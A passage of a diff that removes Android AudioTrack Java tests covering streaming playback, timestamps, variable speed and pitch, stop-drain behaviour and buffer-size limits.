-        Thread.sleep(waitMsec); // wait for the data to drain.
-        // -------- tear down --------------
-        track.release();
-        Thread.sleep(waitMsec); // wait for release to complete
-    }
-
-    private void playOnceStreamByteBuffer(
-            String testName, double testFrequency, double testSweep,
-            int testStreamType, int testSampleRate, int testChannelMask, int testEncoding,
-            int testTransferMode, int testWriteMode,
-            boolean useChannelIndex, boolean useDirect) throws Exception {
-        AudioTrack track = null;
-        try {
-            AudioFormat.Builder afb = new AudioFormat.Builder()
-                    .setEncoding(testEncoding)
-                    .setSampleRate(testSampleRate);
-            if (useChannelIndex) {
-                afb.setChannelIndexMask(testChannelMask);
-            } else {
-                afb.setChannelMask(testChannelMask);
-            }
-            final AudioFormat format = afb.build();
-            final int frameSize = AudioHelper.frameSizeFromFormat(format);
-            final int frameCount =
-                    AudioHelper.frameCountFromMsec(300 /* ms */, format);
-            final int bufferSize = frameCount * frameSize;
-            final int bufferSamples = frameCount * format.getChannelCount();
-
-            track = new AudioTrack.Builder()
-                    .setAudioFormat(format)
-                    .setTransferMode(testTransferMode)
-                    .setBufferSizeInBytes(bufferSize)
-                    .build();
-
-            assertEquals(testName + ": state",
-                    AudioTrack.STATE_INITIALIZED, track.getState());
-            assertEquals(testName + ": sample rate",
-                    testSampleRate, track.getSampleRate());
-            assertEquals(testName + ": encoding",
-                    testEncoding, track.getAudioFormat());
-
-            ByteBuffer bb = useDirect
-                    ? ByteBuffer.allocateDirect(bufferSize)
-                    : ByteBuffer.allocate(bufferSize);
-            bb.order(java.nio.ByteOrder.nativeOrder());
-
-            final double sampleFrequency = testFrequency / format.getChannelCount();
-            switch (testEncoding) {
-                case AudioFormat.ENCODING_PCM_8BIT: {
-                    byte data[] = AudioHelper.createSoundDataInByteArray(
-                            bufferSamples, testSampleRate,
-                            sampleFrequency, testSweep);
-                    bb.put(data);
-                    bb.flip();
-                }
-                break;
-                case AudioFormat.ENCODING_PCM_16BIT: {
-                    short data[] = AudioHelper.createSoundDataInShortArray(
-                            bufferSamples, testSampleRate,
-                            sampleFrequency, testSweep);
-                    ShortBuffer sb = bb.asShortBuffer();
-                    sb.put(data);
-                    bb.limit(sb.limit() * 2);
-                }
-                break;
-                case AudioFormat.ENCODING_PCM_FLOAT: {
-                    float data[] = AudioHelper.createSoundDataInFloatArray(
-                            bufferSamples, testSampleRate,
-                            sampleFrequency, testSweep);
-                    FloatBuffer fb = bb.asFloatBuffer();
-                    fb.put(data);
-                    bb.limit(fb.limit() * 4);
-                }
-                break;
-            }
-            // start the AudioTrack
-            // This can be done before or after the first write.
-            // Current behavior for streaming tracks is that
-            // actual playback does not begin before the internal
-            // data buffer is completely full.
-            track.play();
-
-            // write data
-            final long startTime = System.currentTimeMillis();
-            final long maxDuration = frameCount * 1000 / testSampleRate + 1000;
-            for (int written = 0; written < bufferSize; ) {
-                // ret may return a short count if write
-                // is non blocking or even if write is blocking
-                // when a stop/pause/flush is issued from another thread.
-                final int kBatchFrames = 1000;
-                int ret = track.write(bb,
-                        Math.min(bufferSize - written, frameSize * kBatchFrames),
-                        testWriteMode);
-                // for non-blocking mode, this loop may spin quickly
-                assertTrue(testName + ": write error " + ret, ret >= 0);
-                assertTrue(testName + ": write timeout",
-                        (System.currentTimeMillis() - startTime) <= maxDuration);
-                written += ret;
-            }
-
-            // for streaming tracks, stop will allow the rest of the data to
-            // drain out, but we don't know how long to wait unless
-            // we check the position before stop. if we check position
-            // after we stop, we read 0.
-            final int position = track.getPlaybackHeadPosition();
-            final int remainingTimeMs = (int)((double)(frameCount - position)
-                    * 1000 / testSampleRate);
-            track.stop();
-            Thread.sleep(remainingTimeMs);
-            Thread.sleep(WAIT_MSEC);
-        } finally {
-            if (track != null) {
-                track.release();
-            }
-        }
-    }
-
-    @Test
-    public void testPlayStreamByteBuffer() throws Exception {
-        // constants for test
-        final String TEST_NAME = "testPlayStreamByteBuffer";
-        final int TEST_FORMAT_ARRAY[] = {  // should hear 4 tones played 3 times
-                AudioFormat.ENCODING_PCM_8BIT,
-                AudioFormat.ENCODING_PCM_16BIT,
-                AudioFormat.ENCODING_PCM_FLOAT,
-        };
-        final int TEST_SR_ARRAY[] = {
-                48000,
-        };
-        final int TEST_CONF_ARRAY[] = {
-                AudioFormat.CHANNEL_OUT_STEREO,
-        };
-        final int TEST_WRITE_MODE_ARRAY[] = {
-                AudioTrack.WRITE_BLOCKING,
-                AudioTrack.WRITE_NON_BLOCKING,
-        };
-        final int TEST_MODE = AudioTrack.MODE_STREAM;
-        final int TEST_STREAM_TYPE = AudioManager.STREAM_MUSIC;
-        final double TEST_SWEEP = 0; // sine wave only
-
-        for (int TEST_FORMAT : TEST_FORMAT_ARRAY) {
-            double frequency = 800; // frequency changes for each test
-            for (int TEST_SR : TEST_SR_ARRAY) {
-                for (int TEST_CONF : TEST_CONF_ARRAY) {
-                    for (int TEST_WRITE_MODE : TEST_WRITE_MODE_ARRAY) {
-                        for (int useDirect = 0; useDirect < 2; ++useDirect) {
-                            playOnceStreamByteBuffer(TEST_NAME, frequency, TEST_SWEEP,
-                                    TEST_STREAM_TYPE, TEST_SR, TEST_CONF, TEST_FORMAT,
-                                    TEST_MODE, TEST_WRITE_MODE,
-                                    false /* useChannelIndex */, useDirect != 0);
-
-                            // add a gap to make tones distinct
-                            Thread.sleep(100 /* millis */);
-                            frequency += 30; // increment test tone frequency
-                        }
-                    }
-                }
-            }
-        }
-    }
-
-    @Test
-    public void testPlayChannelIndexStreamBuffer() throws Exception {
-        // should hear 4 tones played 3 or 4 times depending
-        // on the device output capabilities (e.g. stereo or 5.1 or otherwise)
-        final String TEST_NAME = "testPlayChannelIndexStreamBuffer";
-        final int TEST_FORMAT_ARRAY[] = {
-                AudioFormat.ENCODING_PCM_8BIT,
-                //AudioFormat.ENCODING_PCM_16BIT,
-                //AudioFormat.ENCODING_PCM_FLOAT,
-        };
-        final int TEST_SR_ARRAY[] = {
-                48000,
-        };
-        // The following channel index masks are iterated over and route
-        // the AudioTrack channels to the output sink channels based on
-        // the set bits in counting order (lsb to msb).
-        //
-        // For a stereo output sink, the sound may come from L and R, L only, none, or R only.
-        // For a 5.1 output sink, the sound may come from a variety of outputs
-        // as commented below.
-        final int TEST_CONF_ARRAY[] = { // matches output sink channels:
-                (1 << 0) | (1 << 1), // Stereo(L, R) 5.1(FL, FR)
-                (1 << 0) | (1 << 2), // Stereo(L)    5.1(FL, FC)
-                (1 << 4) | (1 << 5), // Stereo(None) 5.1(BL, BR)
-                (1 << 1) | (1 << 2), // Stereo(R)    5.1(FR, FC)
-        };
-        final int TEST_WRITE_MODE_ARRAY[] = {
-                AudioTrack.WRITE_BLOCKING,
-                AudioTrack.WRITE_NON_BLOCKING,
-        };
-        final double TEST_SWEEP = 0;
-        final int TEST_MODE = AudioTrack.MODE_STREAM;
-        final int TEST_STREAM_TYPE = AudioManager.STREAM_MUSIC;
-
-        for (int TEST_FORMAT : TEST_FORMAT_ARRAY) {
-            for (int TEST_CONF : TEST_CONF_ARRAY) {
-                double frequency = 800; // frequency changes for each test
-                for (int TEST_SR : TEST_SR_ARRAY) {
-                    for (int TEST_WRITE_MODE : TEST_WRITE_MODE_ARRAY) {
-                        for (int useDirect = 0; useDirect < 2; ++useDirect) {
-                            playOnceStreamByteBuffer(TEST_NAME, frequency, TEST_SWEEP,
-                                    TEST_STREAM_TYPE, TEST_SR, TEST_CONF, TEST_FORMAT,
-                                    TEST_MODE, TEST_WRITE_MODE,
-                                    true /* useChannelIndex */, useDirect != 0);
-
-                            // add a gap to make tones distinct
-                            Thread.sleep(100 /* millis */);
-                            frequency += 30; // increment test tone frequency
-                        }
-                    }
-                }
-            }
-        }
-    }
-
-    private boolean hasAudioOutput() {
-        return getContext().getPackageManager()
-            .hasSystemFeature(PackageManager.FEATURE_AUDIO_OUTPUT);
-    }
-
-    private boolean isLowLatencyDevice() {
-        return getContext().getPackageManager()
-            .hasSystemFeature(PackageManager.FEATURE_AUDIO_LOW_LATENCY);
-    }
-
-    private boolean isLowRamDevice() {
-        return ((ActivityManager) getContext().getSystemService(Context.ACTIVITY_SERVICE))
-                .isLowRamDevice();
-    }
-
-    private boolean isProAudioDevice() {
-        return getContext().getPackageManager().hasSystemFeature(
-                PackageManager.FEATURE_AUDIO_PRO);
-    }
-
-    @Test
-    public void testGetTimestamp() throws Exception {
-        if (!hasAudioOutput()) {
-            Log.w(TAG, "AUDIO_OUTPUT feature not found. This system might not have a valid "
-                    + "audio output HAL");
-            return;
-        }
-        String streamName = "test_get_timestamp";
-        doTestTimestamp(
-                22050 /* sampleRate */,
-                AudioFormat.CHANNEL_OUT_MONO ,
-                AudioFormat.ENCODING_PCM_16BIT,
-                AudioTrack.MODE_STREAM,
-                streamName);
-    }
-
-    @Test
-    public void testFastTimestamp() throws Exception {
-        if (!hasAudioOutput()) {
-            Log.w(TAG, "AUDIO_OUTPUT feature not found. This system might not have a valid "
-                    + "audio output HAL");
-            return;
-        }
-        String streamName = "test_fast_timestamp";
-        doTestTimestamp(
-                AudioTrack.getNativeOutputSampleRate(AudioManager.STREAM_MUSIC),
-                AudioFormat.CHANNEL_OUT_MONO,
-                AudioFormat.ENCODING_PCM_16BIT,
-                AudioTrack.MODE_STREAM,
-                streamName);
-    }
-
-    // Note: this test may fail if playing through a remote device such as Bluetooth.
-    private void doTestTimestamp(int sampleRate, int channelMask, int encoding, int transferMode,
-            String streamName) throws Exception {
-        // constants for test
-        final int TEST_LOOP_CNT = 10;
-        final int TEST_BUFFER_MS = 100;
-        final int TEST_USAGE = AudioAttributes.USAGE_MEDIA;
-
-        final int MILLIS_PER_SECOND = 1000;
-        final int FRAME_TOLERANCE = sampleRate * TEST_BUFFER_MS / MILLIS_PER_SECOND;
-
-        // -------- initialization --------------
-        final int frameSize =
-                AudioFormat.getBytesPerSample(encoding)
-                * AudioFormat.channelCountFromOutChannelMask(channelMask);
-        // see whether we can use fast mode
-        final int nativeOutputSampleRate =
-                AudioTrack.getNativeOutputSampleRate(AudioManager.STREAM_MUSIC);
-        Log.d(TAG, "Native output sample rate " + nativeOutputSampleRate);
-        final boolean fast = (sampleRate == nativeOutputSampleRate);
-
-        AudioAttributes attributes = (fast ? new AudioAttributes.Builder()
-                .setFlags(AudioAttributes.FLAG_LOW_LATENCY) : new AudioAttributes.Builder())
-                .setUsage(TEST_USAGE)
-                .build();
-        AudioFormat format = new AudioFormat.Builder()
-                //.setChannelIndexMask((1 << AudioFormat.channelCountFromOutChannelMask(channelMask)) - 1)
-                .setChannelMask(channelMask)
-                .setEncoding(encoding)
-                .setSampleRate(sampleRate)
-                .build();
-        // not specifying the buffer size in the builder should get us the minimum buffer size.
-        AudioTrack track = new AudioTrack.Builder()
-                .setAudioAttributes(attributes)
-                .setAudioFormat(format)
-                .setTransferMode(transferMode)
-                .build();
-        assertEquals(AudioTrack.STATE_INITIALIZED, track.getState());
-
-        try {
-            // We generally use a transfer size of 100ms for testing, but in rare cases
-            // (e.g. Bluetooth) this needs to be larger to exceed the internal track buffer.
-            final int frameCount =
-                    Math.max(track.getBufferCapacityInFrames(),
-                            sampleRate * TEST_BUFFER_MS / MILLIS_PER_SECOND);
-            track.play();
-
-            // Android nanoTime implements MONOTONIC, same as our audio timestamps.
-
-            final ByteBuffer data = ByteBuffer.allocate(frameCount * frameSize);
-            data.order(java.nio.ByteOrder.nativeOrder()).limit(frameCount * frameSize);
-            final AudioTimestamp timestamp = new AudioTimestamp();
-
-            long framesWritten = 0;
-
-            // We start data delivery twice, the second start simulates restarting
-            // the track after a fully drained underrun (important case for Android TV).
-            for (int start = 0; start < 2; ++start) {
-                final long trackStartTimeNs = System.nanoTime();
-                final AudioHelper.TimestampVerifier tsVerifier =
-                        new AudioHelper.TimestampVerifier(
-                                TAG + "(start " + start + ")",
-                                sampleRate, framesWritten, isProAudioDevice());
-                for (int i = 0; i < TEST_LOOP_CNT; ++i) {
-                    final long trackWriteTimeNs = System.nanoTime();
-
-                    data.position(0);
-                    assertEquals("write did not complete",
-                            data.limit(), track.write(data, data.limit(),
-                            AudioTrack.WRITE_BLOCKING));
-                    assertEquals("write did not fill buffer",
-                            data.position(), data.limit());
-                    framesWritten += data.limit() / frameSize;
-
-                    // track.getTimestamp may return false if there are no physical HAL outputs.
-                    // This may occur on TV devices without connecting an HDMI monitor.
-                    // It may also be true immediately after start-up, as the mixing thread could
-                    // be idle, but since we've already pushed much more than the
-                    // minimum buffer size, that is unlikely.
-                    // Nevertheless, we don't want to have unnecessary failures, so we ignore the
-                    // first iteration if we don't get a timestamp.
-                    final boolean result = track.getTimestamp(timestamp);
-                    assertTrue("timestamp could not be read", result || i == 0);
-                    if (!result) {
-                        continue;
-                    }
-
-                    tsVerifier.add(timestamp);
-
-                    // Ensure that seen is greater than presented.
-                    // This is an "on-the-fly" read without pausing because pausing may cause the
-                    // timestamp to become stale and affect our jitter measurements.
-                    final long framesPresented = timestamp.framePosition;
-                    final int framesSeen = track.getPlaybackHeadPosition();
-                    assertTrue("server frames ahead of client frames",
-                            framesWritten >= framesSeen);
-                    assertTrue("presented frames ahead of server frames",
-                            framesSeen >= framesPresented);
-                }
-                // Full drain.
-                Thread.sleep(1000 /* millis */);
-                // check that we are really at the end of playback.
-                assertTrue("timestamp should be valid while draining",
-                        track.getTimestamp(timestamp));
-                // Fast tracks and sw emulated tracks may not fully drain.
-                // We log the status here.
-                if (framesWritten != timestamp.framePosition) {
-                    Log.d(TAG, "timestamp should fully drain.  written: "
-                            + framesWritten + " position: " + timestamp.framePosition);
-                }
-                final long framesLowerLimit = framesWritten - FRAME_TOLERANCE;
-                assertTrue("timestamp frame position needs to be close to written: "
-                                + timestamp.framePosition  + " >= " + framesLowerLimit,
-                        timestamp.framePosition >= framesLowerLimit);
-
-                assertTrue("timestamp should not advance during underrun: "
-                        + timestamp.framePosition  + " <= " + framesWritten,
-                        timestamp.framePosition <= framesWritten);
-
-                tsVerifier.verifyAndLog(trackStartTimeNs, streamName);
-            }
-        } finally {
-            track.release();
-        }
-    }
-
-    @Test
-    public void testVariableRatePlayback() throws Exception {
-        final String TEST_NAME = "testVariableRatePlayback";
-        final int TEST_SR = 24000;
-        final int TEST_FINAL_SR = 96000;
-        final int TEST_CONF = AudioFormat.CHANNEL_OUT_MONO;
-        final int TEST_FORMAT = AudioFormat.ENCODING_PCM_8BIT; // required for test
-        final int TEST_MODE = AudioTrack.MODE_STATIC; // required for test
-        final int TEST_STREAM_TYPE = AudioManager.STREAM_MUSIC;
-
-        final int minBuffSize = AudioTrack.getMinBufferSize(TEST_SR, TEST_CONF, TEST_FORMAT);
-        final int bufferSizeInBytes = minBuffSize * 100;
-        final int numChannels =  AudioFormat.channelCountFromOutChannelMask(TEST_CONF);
-        final int bytesPerSample = AudioFormat.getBytesPerSample(TEST_FORMAT);
-        final int bytesPerFrame = numChannels * bytesPerSample;
-        final int frameCount = bufferSizeInBytes / bytesPerFrame;
-
-        AudioTrack track = new AudioTrack(TEST_STREAM_TYPE, TEST_SR, TEST_CONF,
-                TEST_FORMAT, bufferSizeInBytes, TEST_MODE);
-
-        // create byte array and write it
-        byte[] vai = AudioHelper.createSoundDataInByteArray(bufferSizeInBytes, TEST_SR,
-                600 /* frequency */, 0 /* sweep */);
-        assertEquals(vai.length, track.write(vai, 0 /* offsetInBytes */, vai.length));
-
-        // sweep up test and sweep down test
-        int[] sampleRates = {TEST_SR, TEST_FINAL_SR};
-        int[] deltaMss = {10, 10};
-        int[] deltaFreqs = {200, -200};
-
-        for (int i = 0; i < 2; ++i) {
-            int remainingTime;
-            int sampleRate = sampleRates[i];
-            final int deltaMs = deltaMss[i];
-            final int deltaFreq = deltaFreqs[i];
-            final int lastCheckMs = 500; // check the last 500 ms
-
-            assertEquals(TEST_NAME, AudioTrack.SUCCESS, track.setPlaybackRate(sampleRate));
-            track.play();
-            do {
-                Thread.sleep(deltaMs);
-                final int position = track.getPlaybackHeadPosition();
-                sampleRate += deltaFreq;
-                sampleRate = Math.min(TEST_FINAL_SR, Math.max(TEST_SR, sampleRate));
-                assertEquals(TEST_NAME, AudioTrack.SUCCESS, track.setPlaybackRate(sampleRate));
-                remainingTime = (int)((double)(frameCount - position) * 1000
-                        / sampleRate / bytesPerFrame);
-            } while (remainingTime >= lastCheckMs + deltaMs);
-
-            // ensure the final frequency set is constant and plays frames as expected
-            final int position1 = track.getPlaybackHeadPosition();
-            Thread.sleep(lastCheckMs);
-            final int position2 = track.getPlaybackHeadPosition();
-
-            final int tolerance60MsInFrames = sampleRate * 60 / 1000;
-            final int expected = lastCheckMs * sampleRate / 1000;
-            final int actual = position2 - position1;
-
-            // Log.d(TAG, "Variable Playback: expected(" + expected + ")  actual(" + actual
-            //        + ")  diff(" + (expected - actual) + ")");
-            assertEquals(expected, actual, tolerance60MsInFrames);
-            track.stop();
-        }
-        track.release();
-    }
-
-    // Test that AudioTrack stop limits drain to only those frames written at the time of stop.
-    // This ensures consistent stop behavior on Android P and beyond, where data written
-    // immediately after a stop doesn't get caught in the drain.
-    @LargeTest
-    @Test
-    public void testStopDrain() throws Exception {
-        final String TEST_NAME = "testStopDrain";
-        final int TEST_SR = 8000;
-        final int TEST_CONF = AudioFormat.CHANNEL_OUT_MONO; // required for test
-        final int TEST_FORMAT = AudioFormat.ENCODING_PCM_8BIT; // required for test
-        final int TEST_MODE = AudioTrack.MODE_STREAM; // required for test
-        final int TEST_STREAM_TYPE = AudioManager.STREAM_MUSIC;
-
-        final int channelCount = AudioFormat.channelCountFromOutChannelMask(TEST_CONF);
-        final int bytesPerSample = AudioFormat.getBytesPerSample(TEST_FORMAT);
-        final int bytesPerFrame = channelCount * bytesPerSample;
-        final int frameCount = TEST_SR * 3; // 3 seconds of buffer.
-        final int bufferSizeInBytes = frameCount * bytesPerFrame;
-
-        final AudioTrack track = new AudioTrack(
-                TEST_STREAM_TYPE, TEST_SR, TEST_CONF, TEST_FORMAT, bufferSizeInBytes, TEST_MODE);
-
-        try {
-            // Create 6 seconds of data, but send down only 3 seconds to fill buffer.
-            final byte[] soundData = AudioHelper.createSoundDataInByteArray(
-                    bufferSizeInBytes * 2, TEST_SR, 600 /* frequency */, 0 /* sweep */);
-            assertEquals("cannot fill AudioTrack buffer",
-                    bufferSizeInBytes,
-                    track.write(soundData, 0 /* offsetInBytes */, bufferSizeInBytes));
-
-            // Set the track playing.
-            track.play();
-
-            // Note that the timings here are very generous for our test (really the
-            // granularity we need is on the order of a second).  If we don't get scheduled
-            // to run within about a second or so - this should be extremely rare -
-            // the result should be a false pass (rather than a false fail).
-
-            // After 1.5 seconds stop.
-            Thread.sleep(1500 /* millis */); // Assume device starts within 1.5 sec.
-            track.stop();
-
-            // We should drain 1.5 seconds and fill another 3 seconds of data.
-            // We shouldn't be able to write 6 seconds of data - that indicates stop continues
-            // to drain beyond the frames written at the time of stop.
-            int length = 0;
-            while (length < soundData.length) {
-                Thread.sleep(800 /* millis */); // assume larger than AF thread loop period
-                final int delta = track.write(soundData, length, soundData.length - length);
-                assertTrue("track write error: " + delta, delta >= 0);
-                if (delta == 0) break;
-                length += delta;
-            }
-
-            // Check to see we limit the data drained (should be able to exactly fill the buffer).
-            assertEquals("stop drain must be limited " + bufferSizeInBytes + " != " + length,
-                    bufferSizeInBytes, length);
-        } finally {
-            track.release();
-        }
-    }
-
-    @Test
-    public void testVariableSpeedPlayback() throws Exception {
-        if (!hasAudioOutput()) {
-            Log.w(TAG,"AUDIO_OUTPUT feature not found. This system might not have a valid "
-                    + "audio output HAL");
-            return;
-        }
-
-        final String TEST_NAME = "testVariableSpeedPlayback";
-        final int TEST_FORMAT = AudioFormat.ENCODING_PCM_FLOAT; // required for test
-        final int TEST_MODE = AudioTrack.MODE_STATIC;           // required for test
-        final int TEST_SR = 48000;
-
-        AudioFormat format = new AudioFormat.Builder()
-                //.setChannelIndexMask((1 << 0))  // output to first channel, FL
-                .setChannelMask(AudioFormat.CHANNEL_OUT_MONO)
-                .setEncoding(TEST_FORMAT)
-                .setSampleRate(TEST_SR)
-                .build();
-
-        // create track
-        final int frameCount = AudioHelper.frameCountFromMsec(100 /*ms*/, format);
-        final int frameSize = AudioHelper.frameSizeFromFormat(format);
-        AudioTrack track = new AudioTrack.Builder()
-                .setAudioFormat(format)
-                .setBufferSizeInBytes(frameCount * frameSize)
-                .setTransferMode(TEST_MODE)
-                .build();
-
-        // create float array and write it
-        final int sampleCount = frameCount * format.getChannelCount();
-        float[] vaf = AudioHelper.createSoundDataInFloatArray(
-                sampleCount, TEST_SR, 600 /* frequency */, 0 /* sweep */);
-        assertEquals(vaf.length, track.write(vaf, 0 /* offsetInFloats */, vaf.length,
-                AudioTrack.WRITE_NON_BLOCKING));
-
-        // sweep speed and pitch
-        final float[][][] speedAndPitch = {
-             // { {speedStart, pitchStart} {speedEnd, pitchEnd} }
-                { {0.5f, 0.5f}, {2.0f, 2.0f} },  // speed by SR conversion (chirp)
-                { {0.5f, 1.0f}, {2.0f, 1.0f} },  // speed by time stretch (constant pitch)
-                { {1.0f, 0.5f}, {1.0f, 2.0f} },  // pitch by SR conversion (chirp)
-        };
-
-        // test that playback params works as expected
-        PlaybackParams params = new PlaybackParams().allowDefaults();
-        assertEquals("default speed not correct", 1.0f, params.getSpeed(), 0.f /* delta */);
-        assertEquals("default pitch not correct", 1.0f, params.getPitch(), 0.f /* delta */);
-        assertEquals(TEST_NAME,
-                params.AUDIO_FALLBACK_MODE_DEFAULT,
-                params.getAudioFallbackMode());
-        track.setPlaybackParams(params); // OK
-        params.setAudioFallbackMode(params.AUDIO_FALLBACK_MODE_FAIL);
-        assertEquals(TEST_NAME,
-                params.AUDIO_FALLBACK_MODE_FAIL, params.getAudioFallbackMode());
-        params.setPitch(0.0f);
-        try {
-            track.setPlaybackParams(params);
-            fail("IllegalArgumentException should be thrown on out of range data");
-        } catch (IllegalArgumentException e) {
-            ; // expect this is invalid
-        }
-        // on failure, the AudioTrack params should not change.
-        PlaybackParams paramCheck = track.getPlaybackParams();
-        assertEquals(TEST_NAME,
-                paramCheck.AUDIO_FALLBACK_MODE_DEFAULT, paramCheck.getAudioFallbackMode());
-        assertEquals("pitch should be unchanged on failure",
-                1.0f, paramCheck.getPitch(), 0. /* delta */);
-
-        // now try to see if we can do extreme pitch correction that should probably be muted.
-        params.setAudioFallbackMode(params.AUDIO_FALLBACK_MODE_MUTE);
-        assertEquals(TEST_NAME,
-                params.AUDIO_FALLBACK_MODE_MUTE, params.getAudioFallbackMode());
-        params.setPitch(0.1f);
-        track.setPlaybackParams(params); // OK
-
-        // now do our actual playback
-        final int TEST_TIME_MS = 2000;
-        final int TEST_DELTA_MS = 100;
-        final int testSteps = TEST_TIME_MS / TEST_DELTA_MS;
-
-        for (int i = 0; i < speedAndPitch.length; ++i) {
-            final float speedStart = speedAndPitch[i][0][0];
-            final float pitchStart = speedAndPitch[i][0][1];
-            final float speedEnd = speedAndPitch[i][1][0];
-            final float pitchEnd = speedAndPitch[i][1][1];
-            final float speedInc = (speedEnd - speedStart) / testSteps;
-            final float pitchInc = (pitchEnd - pitchStart) / testSteps;
-
-            PlaybackParams playbackParams = new PlaybackParams()
-                    .setPitch(pitchStart)
-                    .setSpeed(speedStart)
-                    .allowDefaults();
-
-            // set track in infinite loop to be a sine generator
-            track.setLoopPoints(0, frameCount, -1 /* loopCount */); // cleared by stop()
-            track.play();
-
-            Thread.sleep(300 /* millis */); // warm up track
-
-            int anticipatedPosition = track.getPlaybackHeadPosition();
-            long timeMs = SystemClock.elapsedRealtime();
-            final long startTimeMs = timeMs;
-            for (int j = 0; j < testSteps; ++j) {
-                // set playback settings
-                final float pitch = playbackParams.getPitch();
-                final float speed = playbackParams.getSpeed();
-
-                track.setPlaybackParams(playbackParams);
-
-                // verify that settings have changed
-                PlaybackParams checkParams = track.getPlaybackParams();
-                assertEquals("pitch not changed correctly",
-                        pitch, checkParams.getPitch(), 0. /* delta */);
-                assertEquals("speed not changed correctly",
-                        speed, checkParams.getSpeed(), 0. /* delta */);
-
-                // sleep for playback
-                Thread.sleep(TEST_DELTA_MS);
-                final long newTimeMs = SystemClock.elapsedRealtime();
-                // Log.d(TAG, "position[" + j + "] " + track.getPlaybackHeadPosition());
-                anticipatedPosition +=
-                        playbackParams.getSpeed() * (newTimeMs - timeMs) * TEST_SR / 1000;
-                timeMs = newTimeMs;
-                playbackParams.setPitch(playbackParams.getPitch() + pitchInc);
-                playbackParams.setSpeed(playbackParams.getSpeed() + speedInc);
-            }
-            final int endPosition = track.getPlaybackHeadPosition();
-            final int tolerance100MsInFrames = 100 * TEST_SR / 1000;
-            Log.d(TAG, "Total playback time: " + (timeMs - startTimeMs));
-            assertEquals(TAG, anticipatedPosition, endPosition, tolerance100MsInFrames);
-            track.stop();
-
-            Thread.sleep(100 /* millis */); // distinct pause between each test
-        }
-        track.release();
-    }
-
-    // Test AudioTrack to ensure we can build after a failure.
-    @Test
-    public void testAudioTrackBufferSize() throws Exception {
-        // constants for test
-        final String TEST_NAME = "testAudioTrackBufferSize";
-
-        // use builder with parameters that should fail
-        final int superBigBufferSize = 1 << 28;
-        try {
-            final AudioTrack track = new AudioTrack.Builder()
-                .setBufferSizeInBytes(superBigBufferSize)
-                .build();
-            track.release();
-            fail(TEST_NAME + ": should throw exception on failure");
-        } catch (UnsupportedOperationException e) {
-            ;
-        }
-
-        // we should be able to create again with minimum buffer size
-        final int verySmallBufferSize = 2 * 3 * 4; // frame size multiples
-        final AudioTrack track2 = new AudioTrack.Builder()
-                .setBufferSizeInBytes(verySmallBufferSize)
-                .build();
-
-        final int observedState2 = track2.getState();
-        final int observedBufferSize2 = track2.getBufferSizeInFrames();
-        track2.release();
-
-        // succeeds for minimum buffer size
-        assertEquals(TEST_NAME + ": state", AudioTrack.STATE_INITIALIZED, observedState2);
-        // should force the minimum size buffer which is > 0
-        assertTrue(TEST_NAME + ": buffer frame count", observedBufferSize2 > 0);
-    }
-
-    // Test AudioTrack to see if there are any problems with large frame counts.
-    @Test
-    public void testAudioTrackLargeFrameCount() throws Exception {
-        // constants for test
-        final String TEST_NAME = "testAudioTrackLargeFrameCount";
-        final int[] BUFFER_SIZES = { 4294968, 42949680, 429496800, Integer.MAX_VALUE };
-        final int[] MODES = { AudioTrack.MODE_STATIC, AudioTrack.MODE_STREAM };
-
-        for (int mode : MODES) {
-            for (int bufferSizeInBytes : BUFFER_SIZES) {
-                try {
-                    final AudioTrack track = new AudioTrack.Builder()
-                        .setAudioFormat(new AudioFormat.Builder()
-                            .setEncoding(AudioFormat.ENCODING_PCM_8BIT)
-                            .setSampleRate(44100)
-                            .setChannelMask(AudioFormat.CHANNEL_OUT_MONO)
-                            .build())
-                        .setTransferMode(mode)
-                        .setBufferSizeInBytes(bufferSizeInBytes) // 1 byte == 1 frame
-                        .build();
-                    track.release(); // OK to successfully complete
-                } catch (UnsupportedOperationException e) {
-                    ; // OK to throw unsupported exception
-                }
-            }
-        }
-    }
-
-    @Test
-    public void testSetNullPresentation() throws Exception {
-        final AudioTrack track = new AudioTrack.Builder().build();
-        assertThrows(IllegalArgumentException.class, () -> {
-            track.setPresentation(null);
-        });
-    }
-
-    @Test
-    public void testAc3BuilderNoBufferSize() throws Exception {
-        AudioFormat format = new AudioFormat.Builder()
-            .setEncoding(AudioFormat.ENCODING_AC3)
-            .setChannelMask(AudioFormat.CHANNEL_OUT_STEREO)
-            .setSampleRate(48000)
-            .build();
-        try {
-            AudioTrack audioTrack = new AudioTrack.Builder()
-                .setAudioFormat(format)
-                .setBufferSizeInBytes(100)
-                .build();
-            audioTrack.release();
-            Thread.sleep(200);
-        } catch (UnsupportedOperationException e) {
-            // Do nothing. It's OK for a device to not support ac3 audio tracks.
-            return;
-        }
-        // if ac3 audio tracks with set buffer size succeed, the builder should also succeed if the
-        // buffer size isn't set, allowing the framework to report the recommended buffer size.
-        try {
-            AudioTrack audioTrack = new AudioTrack.Builder()
-                .setAudioFormat(format)
-                .build();
-            audioTrack.release();
-        } catch (UnsupportedOperationException e) {
-            // This builder should not fail as the first builder succeeded when setting buffer size
-            fail("UnsupportedOperationException should not be thrown when setBufferSizeInBytes"
-                  + " is excluded from builder");
-        }
-    }
-
-    @Test
-    public void testSetPresentationDefaultTrack() throws Exception {
-        final AudioTrack track = new AudioTrack.Builder().build();
-        assertEquals(AudioTrack.ERROR, track.setPresentation(createAudioPresentation()));
-    }
-
-    @Test
-    public void testIsDirectPlaybackSupported() throws Exception {
-        // constants for test
-        final String TEST_NAME = "testIsDirectPlaybackSupported";
-        // Default format leaves everything unspecified
-        assertFalse(AudioTrack.isDirectPlaybackSupported(
-                        new AudioFormat.Builder().build(),
-                        new AudioAttributes.Builder().build()));
-        // There is no requirement to support direct playback for this format,
-        // so it's not possible to assert on the result, but at least the method
-        // must execute with no exceptions.
-        boolean isPcmStereo48kSupported = AudioTrack.isDirectPlaybackSupported(
-                new AudioFormat.Builder()
-                .setEncoding(AudioFormat.ENCODING_PCM_16BIT)
-                .setChannelMask(AudioFormat.CHANNEL_OUT_STEREO)
-                .setSampleRate(48000)
-                .build(),
-                new AudioAttributes.Builder().build());
-        log(TEST_NAME, "PCM Stereo 48 kHz: " + isPcmStereo48kSupported);
-    }
-
-    @Test
-    public void testMediaMetrics() throws Exception {
-        if (!hasAudioOutput()) {
-            return;
-        }
-
-        AudioTrack track = null;
-        try {
-            final int TEST_SAMPLE_RATE = 44100;
-            final int TEST_CHANNEL_MASK = AudioFormat.CHANNEL_OUT_STEREO;
-            final int TEST_ENCODING = AudioFormat.ENCODING_PCM_16BIT;
-            final AudioFormat format = new AudioFormat.Builder()
-                .setSampleRate(TEST_SAMPLE_RATE)
-                .setChannelMask(TEST_CHANNEL_MASK)
